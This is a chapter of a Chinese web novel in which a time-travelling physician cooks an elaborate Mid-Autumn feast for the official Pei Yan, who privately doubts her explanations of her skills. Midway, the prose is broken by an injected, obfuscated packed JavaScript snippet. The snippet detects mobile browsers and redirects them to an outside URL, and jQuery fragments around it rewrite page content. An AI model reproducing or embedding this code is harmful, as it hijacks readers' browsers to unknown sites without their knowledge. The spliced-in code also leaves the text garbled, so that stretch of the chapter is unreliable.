61. 第61章 柳枝巷的中秋宴
作品:《杏林天香》 八月十五,中秋。
晨光尚未完全驱散夜露,柳枝巷深处的小院已弥漫开淡淡的甜香。静尘在井边淘洗新买的糯米,静心蹲在灶前小心地看火,旺财趴在厨房门口,鼻子一耸一耸,眼巴巴望着里头。
许娇娇系着粗布围裙,袖子挽到手肘,正站在案板前和面。阳光从窗外斜斜照进来,在她低垂的睫毛上跳跃。面是昨夜就发好的,已经醒得蓬松柔软。她将面团分成小剂,用掌心压平,舀一勺昨夜炒好的枣泥核桃馅料放进去,手指灵巧地收口、搓圆,再放进刻着花鸟纹的木模里轻轻一压。
“啪”一声轻响,月饼脱模而出。圆润的饼身上,清晰地印着一朵绽放的桂花,花瓣层叠,栩栩如生。
“真好看。”静心凑过来看,眼睛亮晶晶的,“娇杏,你从哪儿学来这么精巧的手艺?这模子花纹,比街上卖的还细。”
许娇娇笑了笑,没说话。这木模是她前些日子特意请巷口李木匠刻的,花样是她自己画的。前世的中秋,母亲总爱自己做月饼,枣泥的、豆沙的、五仁的……她跟在旁边打下手,日子久了也就会了。没想到穿越而来,这点手艺倒派上了用场。
枣泥是她用院子里那棵老枣树结的枣子,一颗颗去核,慢火熬成,加了少许糖和油,甜而不腻。核桃是刘寡妇送的,自家后院树上打的,烤香后捣碎,拌进枣泥里,添一分酥脆香气。
除了枣泥核桃的,她还准备了豆沙和五仁的。豆沙用赤小豆熬煮过筛,加了些许桂花糖;五仁则是花生、瓜子、芝麻、松子、杏仁,炒香后拌上麦芽糖和熟油,包进面皮里。
月饼坯子一个个做好,整齐码在竹屉上,刷一层薄薄的蛋黄液。静心已经将灶火调得恰到好处,许娇娇将竹屉放入锅中,盖上锅盖。
“要蒸多久?”静尘擦着手走过来。
“两刻钟。”许娇娇看了看天色,“等月饼好了,咱们就开始准备晚上的菜。”
她昨日就让长风带了口信给裴宴,邀他中秋夜若得空,就来小院用饭,以答谢他近日的看护之情。原本没抱太大希望,谁知午后长风便来回话,说大人应下了,酉时准到。
既然他肯来,她便想好好做一顿饭。不为别的,就为那份深夜前来听她陈情的信任,也为那些守在巷口暗处、让她得以安眠的身影。
月饼的甜香渐渐溢出锅沿,混着灶膛里松枝燃烧的清新气息,在小院里萦绕不散。
午后,许娇娇开始准备晚宴的菜肴。
食材是静尘一早去市集买的。洪水退后,市集恢复得很快,虽不如从前丰盛,但该有的也都有了。一只肥嫩的鹅,半扇羊头,活虾,时蔬,还有各种调料。
许娇娇先将鹅肝取出,用清水浸泡,换了几次水,直到血水尽去。然后取一小锅,倒入牛乳,将鹅肝放入,小火慢煮。这是去腥增嫩的秘诀,前世跟一位法餐厨师学的。煮好的鹅肝取出,用纱布包好,压上重物,使其定型。
接着处理羊头。羊头签是《东京梦华录》里记载的北宋名菜,她曾在复原古菜的节目里学过。羊头煮熟,拆下脸颊肉,切成细丝,用椒盐、姜末、少许茱萸粉和酱油拌匀。另取薄如蝉翼的面皮,将羊肉丝卷起,用蛋液封口,下油锅炸至金黄酥脆。
虾子鲜活,去壳留尾,从背部剖开,去除虾线。用少许盐、酒和姜汁腌制。锅里热油,虾仁滑炒至变色卷曲,迅速捞出。另起锅,用香油炒香捣碎的芥菜籽,加入少许糖、醋和酱油,调成芥末酱汁,淋在虾球上拌匀。这是她改良的芥末虾球,芥菜籽的辛香替代了前世用的芥末酱,别有一番风味。
凉拌三丝最简单,胡萝卜、青笋、豆腐皮切细丝,焯水后过凉,用盐、糖、醋、香油一拌,撒上炒香的芝麻,清爽开胃。
四道凉碟准备停当,摆在粗瓷盘里,竟也显得精致可爱。水晶鹅肝切成薄片,码成花朵状,莹润如玉;羊头签炸得金黄,整齐排列,香气扑鼻;芥末虾球碧绿衬着粉红,酸甜辛香;凉拌三丝色彩分明,脆嫩爽口。
静尘和静心在一旁看着,早已目瞪口呆。
“娇杏,这些……这些菜式,我见都没见过。”静尘喃喃道,“你是从哪里学来的?”
许娇娇手上不停,正在处理一条鲈鱼,闻言顿了顿,笑道:“从前在父亲留下的杂书里看的,自己瞎琢磨罢了。”
这借口她用惯了,倒也顺口。许大郎确实留下不少医书杂记,但她从小被赶出村子,房屋被侵占,她阿爹的东西都被人贪了,她一本也没拿到。但那又如何,谁又知道她没见过呢?
热菜她打算做几道淮扬菜。前世她是扬州人,对家乡菜最是拿手。清炖蟹粉狮子头、大煮干丝、文思豆腐、松鼠鳜鱼——虽然鳜鱼难得,用鲈鱼替代也凑合。
狮子头要用三分肥七分瘦的猪肋条肉,手工细切粗斩,保持颗粒感。蟹粉是奢侈物,洪水刚过,无处可寻,她便用咸蛋黄代替,捣碎后拌入肉馅,加葱姜水、盐、少许糖,顺着一个方向搅打上劲。团成拳头大的肉丸,放入砂锅,加清汤、火腿片、冬笋片,小火慢炖两个时辰,直至酥烂入味。
大煮干丝考验刀工。豆腐干片成薄片,再切成细如发丝的干丝,放入清鸡汤中煮,加入火腿丝、鸡丝、笋丝、虾仁,汤汁醇厚,干丝吸饱鲜味,柔软鲜美。
文思豆腐更是极致刀工。一块嫩豆腐,先片后切,成丝后放入清水中,根根清晰,不碎不断。用清鸡汤煨煮,勾薄芡,撒火腿末、青菜丝,豆腐丝如云絮般在汤中飘荡,清雅至极。
松鼠鱼要改花刀。鲈鱼去骨,鱼肉切十字花刀,深度至皮,用葱姜水、盐、酒略腌,拍上干淀粉。下油锅炸至定型,鱼肉翻卷如松鼠尾巴。另起锅调糖醋汁,番茄酱无处可寻,她用山楂熬汁代替,加糖、醋、盐,勾芡后淋在鱼上,吱吱作响,酸甜适口。
等到夕阳西斜,小院里已飘满了复杂而诱人的香气。旺财急得团团转,被静心塞了块骨头才安分些。
许娇娇洗净手,换了身干净的月白色细葛布衣裙,头发重新绾过,插上那支素银簪子。脸上脂粉未施,却因忙碌了一日,双颊泛着自然的红晕,眼眸清亮如洗。
酉时初,巷口传来马蹄声。
裴宴果然准时。他今日未着官服,穿了一身雨过天青色的直裰,外罩同色暗纹氅衣,头发用玉冠束起,比平日少了几分威严,多了些许清俊的书卷气。长风和明月跟在他身后,两人手里还提着东西——一坛酒,一盒点心。
许娇娇迎到院门口,敛衽行礼:“裴大人。”
裴宴目光在她脸上停留了一瞬,颔首道:“叨扰了。”
“大人肯来,是民女的荣幸。”许娇娇侧身让开,“请进。”
小院已被收拾得整洁温馨。老柳树下摆了两张方桌,一张略大些,铺着干净的蓝布;另一张小些,放在稍远处。桌上碗筷已摆好,粗瓷碗碟洗得发亮,在暮色中泛着温润的光。
裴宴的目光扫过院子,落在厨房门口那张小桌上——那里整齐摆放着四碟凉菜,造型精致,香气隐隐飘来。他眼中闪过一丝讶异。
许娇娇引他到主桌坐下,长风忙将酒和点心放在桌上。是一坛上好的绍兴花雕,点心盒子打开,是稻香斋的八件细点,枣泥酥、荷花酥、佛手酥……样样精巧。
“大人太客气了。”许娇娇道,“本该民女答谢大人,反倒让大人破费。”
“一点心意。”裴宴淡淡道,目光却仍不由自主地飘向那几碟凉菜。
许娇娇会意,笑道:“民女胡乱做了几个小菜,还请大人莫要嫌弃。”她转身对静尘道,“师姐,可以上菜了。”
静尘和静心应声,将四碟凉菜端上主桌,又在旁边小桌上摆了一份。许娇娇亲自斟了两杯酒,一杯放在裴宴面前,一杯留给自己。
“长风大哥,明月大哥,你们也请坐。”她看向站在裴宴身后的两人。
长风和明月吓了一跳,连连摆手:“不敢不敢,小的们站着就好。”
裴宴看了他们一眼:“许娘子既说了,你们便坐吧。”
两人这才诚惶诚恐地在旁边小桌坐下,却只敢挨着半边凳子,腰板挺得笔直。静尘和静心更是不敢坐,静尘低声道:“娇杏,我们在厨房吃就好……”
许娇娇知道她们拘谨,也不勉强,温声道:“那师姐你们自便,需要什么自己取。”
月色渐渐明亮起来,如一匹银纱轻轻笼罩着小院。柳树的影子投在地上,随风微微晃动。
裴宴的目光落在面前的四碟凉菜上。水晶鹅肝莹白细腻,入口即化,带着牛乳的醇香和鹅肝特有的丰腴,毫无腥气;羊头签外酥里嫩,羊肉的鲜美被椒盐和茱萸激发得淋漓尽致,面皮薄脆,层次分明;芥末虾球酸甜中带着芥菜籽独特的辛香,虾肉弹牙,口感丰富;凉拌三丝清爽脆嫩,芝麻香气画龙点睛。
他每一道都尝了,放下筷子时,眼中讶色更浓。
“这些菜式,”他缓缓开口,声音在月色中显得清泠,“不似江南本地风味。”
许娇娇心头一跳,面上却依旧平静:“大人好眼力。有些是民女从杂书上看的古法,有些是自己瞎琢磨的。味道可还过得去?”
“岂止过得去。”裴宴看着她,目光深邃,“许娘子好手艺。”
许娇娇垂下眼睫,为他布菜:“大人喜欢便好。”她转身又朝厨房道,“师姐,上热菜吧。”
清炖蟹粉狮子头用砂锅端上,盖子一掀,热气蒸腾,香气四溢。肉丸酥烂,用筷子轻轻一拨便散开,咸蛋黄的沙感混着猪肉的鲜嫩,汤汁清澈却滋味醇厚。
大煮干丝汤色乳白,干丝细如棉线,吸饱了火腿、鸡汤的精华,入口柔滑,鲜得眉毛都要掉下来。
文思豆腐更让裴宴瞳孔微缩。豆腐丝在清汤中如云雾缭绕,根根分明,舀一勺入口,嫩滑无比,几乎不用咀嚼便化在舌尖,只留满口豆香与鲜甜。
松鼠鲈鱼最后上桌,糖醋汁淋上时“滋啦”作响,鱼肉翻卷如花,色泽红亮。夹一块入口,外酥里嫩,酸甜汁恰到好处,山楂的微酸更添风味。
裴宴吃得不多,但每道菜都仔细尝过。他吃得慢,举止优雅,即便在这简陋的小院里,也自带一种与生俱来的矜贵气度。
许娇娇陪在一旁,偶尔为他斟酒,自己却喝得少。花雕温过,酒香醇厚,入口绵长。几杯下肚,她脸上渐渐泛起桃花般的红晕,眼神也氤氲了些许水光。
月色越发皎洁,洒在她侧脸上,肌肤莹润如玉。她微微侧头听着隔壁小桌低声说笑的声音,唇角不自觉扬起,那笑意清浅温柔,与平日沉静的模样又有些不同。
裴宴握着酒杯,目光在她脸上停留了片刻。
自相识以来,他见过她许多模样——元宵夜莽撞揪他衣襟的惊慌,医药会上从容应对的沉稳,疫病中不眠不休的坚毅,昨夜陈述案情时的孤注一掷。却从未见过她如此刻这般,放松的,柔软的,甚至带着点娇憨的模样。
像是终于卸下了所有防备,允许自己稍微喘一口气。
“许娘子,”他忽然开口,声音比平日柔和些许,“今日这宴,费心了。”
许娇娇转回头,眼眸在月光下亮晶晶的:“大人不嫌简陋便好。”她举起酒杯,微微倾身,“这一杯,谢大人近日看护之情。民女……感激不尽。”
她说得诚恳,眼中映着月色,也映着他的影子。
裴宴与她碰杯,瓷杯相击,发出清脆的声响。两人同时饮尽杯中酒,许娇娇被酒气呛了一下,轻轻咳嗽,眼角泛出一点泪光,忙用袖子掩住。
那模样,竟有几分可爱。
裴宴移开目光,望向天上那轮满月。月光清冷,但小院里灯火温暖,饭菜香气,人语低低,竟让他生出一种久违的、属于人间的安稳感。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314391|197528||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“许娘子身怀绝技,”他重新看向她,语气似是随意,“医术精湛,如今看来,厨艺也颇为不凡。不知师从何人?”
来了。许娇娇心中暗叹。她就知道,这些超越时代的技艺,终究会引起怀疑。
她放下酒杯,手指无意识地摩挲着粗糙的杯壁,斟酌着字句:“父亲生前好读书,家中有些杂学古籍。民女幼时虽不能言,却喜翻看那些书,记性尚可,许多东西看一遍便记住了。后来……”她顿了顿,“后来一场大病,侥幸活下来,那些记忆反而越发清晰。有些菜式,是书中记载的古法;有些,是自己琢磨着试出来的。”
她抬眼看他,眼神清澈坦然:“让大人见笑了。民女只是喜欢琢磨这些,觉得……做菜如行医,都要用心,都要懂得调和之道。”
这话说得巧妙,将厨艺与医术类比,既解释了技艺来源,又暗合她医女的身份。
裴宴静静听着,未置可否。他自然不信这番说辞。那些菜式的精致程度,刀工的讲究,调味的巧妙,绝非一个山村孤女靠翻几本杂书便能琢磨出来的。尤其是那文思豆腐的刀工,便是京城顶级酒楼的大厨,也未必能有如此功力。
她身上有太多谜团。聋哑七年突然痊愈,无师自通的医术,如今还有这手精湛厨艺。每一件,都超出了常理。
可看着她月光下清澈的眼眸,他又不愿以最大的恶意去揣测。或许真如她所说,是天赋异禀,是机缘巧合?
“调和之道,”他重复着这四个字,唇角微扬,“许娘子说得有理。”
许娇娇见他不再追问,暗暗松了口气,又为他斟满酒:“今夜中秋,大人不必想那些烦心公务,且放松片刻。”
裴宴接过酒杯,指尖不经意触到她的。她的手很凉,带着井水的清冽,而他的手指温热。一触即分,两人却都怔了怔。
许娇娇迅速收回手,低下头去夹菜。裴宴也垂下眼睑,将杯中酒一饮而尽。
隔壁小桌传来长风低声劝明月少喝些的声音,静心在轻声说月饼快好了,静尘温言应着。这些细碎的人间声响,衬得主桌这一方天地越发安静。
“许娘子今后有何打算?”裴宴忽然问。
许娇娇抬起头,眼中闪过一丝茫然,随即又恢复清明:“等水月庵的案子了结,民女想……继续行医。在张记坐诊也好,自己开个小医馆也罢,总之,做本分事,过安生日子。”
她说得平淡,裴宴却听出了其中深藏的期盼——对寻常安稳生活的渴望。
“会的。”他轻声道。
许娇娇看着他,忽然笑了。那笑容很浅,却如月光破云,清辉洒落:“借大人吉言。”
两人又喝了几杯,许娇娇酒意上头,胆子也大了些,话渐渐多了起来。她说起落溪村,说起水月庵后山大茅屋那棵老枣树,每年秋天结满果子;说起第一次独立诊病时的紧张;也说起对未来的些许憧憬——想有一间自己的药铺,种一院子草药,闲时看书制药,忙时治病救人。
她说这些时,眼睛亮亮的,整个人笼在月光里,像一幅会发光的画。
裴宴大多时候静静听着,偶尔问一两句。他发现,当她不再戒备,不再斟酌字句时,言语中自有一种天真烂漫的气息,与她的年龄相符,却又因那些不寻常的经历,多了几分通透。
这样的她,让他想起那夜在仁心堂,她蹲在病患前专注诊治的模样——既有医者的仁心与沉稳,又有少女的纯粹与热忱。
矛盾,却又奇异地和谐。
夜深了,月饼蒸好端上来,还冒着热气。许娇娇切了一块枣泥核桃的递给裴宴,又给长风和明月各分了一块。
她自己拿了一小块豆沙的,小口小口吃着。甜糯的滋味在舌尖化开,她满足地眯起眼,像只偷到鱼的小猫。
裴宴看着她,忽然觉得口中月饼的甜,一直渗到了心里。
“时候不早了。”他放下筷子,站起身。
许娇娇忙也起身:“大人要走了?”
“嗯。”裴宴看着她被酒意染红的脸颊,温声道,“你早些歇息。”
许娇娇送他到院门口。月光将两人的影子拉长,在青石板路上交叠。
“大人,”她忽然叫住他,声音很轻,“今夜……谢谢您能来。”
裴宴回头看她。她站在门内,月光洒了满身,眼眸清澈如秋水,倒映着漫天星斗与他一个人的身影。
“也谢谢你,”他说,声音是他自己都未察觉的柔和,“款待。”
他转身离去,玄色氅衣在夜风中微微飘动。长风明月紧随其后,马蹄声在寂静的巷子里渐行渐远。
许娇娇站在门口,直到那身影彻底消失在月色中,才缓缓关上院门。
背靠着门板,她轻轻吐出一口气。今夜,她让自己稍微放松了片刻,说了些平日不会说的话,流露了些许真实情绪。
而裴宴……他或许仍有怀疑,但至少,他愿意坐下来,听她说,吃她做的菜,陪她过这个中秋。
这就够了。
她抬头望月。明月当空,清辉万里。这异世的中秋,终究不似想象中那般孤寒。
厨房里,静尘和静心正在收拾碗筷,低声说着话。旺财凑到她脚边,蹭了蹭她的腿。
许娇娇弯腰摸摸它的头,唇角扬起一抹浅浅的、真实的笑容。
夜色尚好,前路虽长,但今夜月光温柔,足慰风尘。
而巷外,裴宴策马缓行,脑海中仍回响着那小院里的笑语,鼻尖仿佛还萦绕着饭菜的香气,眼前晃动着月光下她微红的颊、清亮的眼。
她到底还藏着多少秘密?一个山村孤女,怎会有那般见识、那般手艺?
这个疑问,像一颗种子,在他心底悄然扎根。
这夜的月色太美,而她笑时的模样,让他第一次觉得,这江南的秋夜,原来也可以这般温暖宜人。

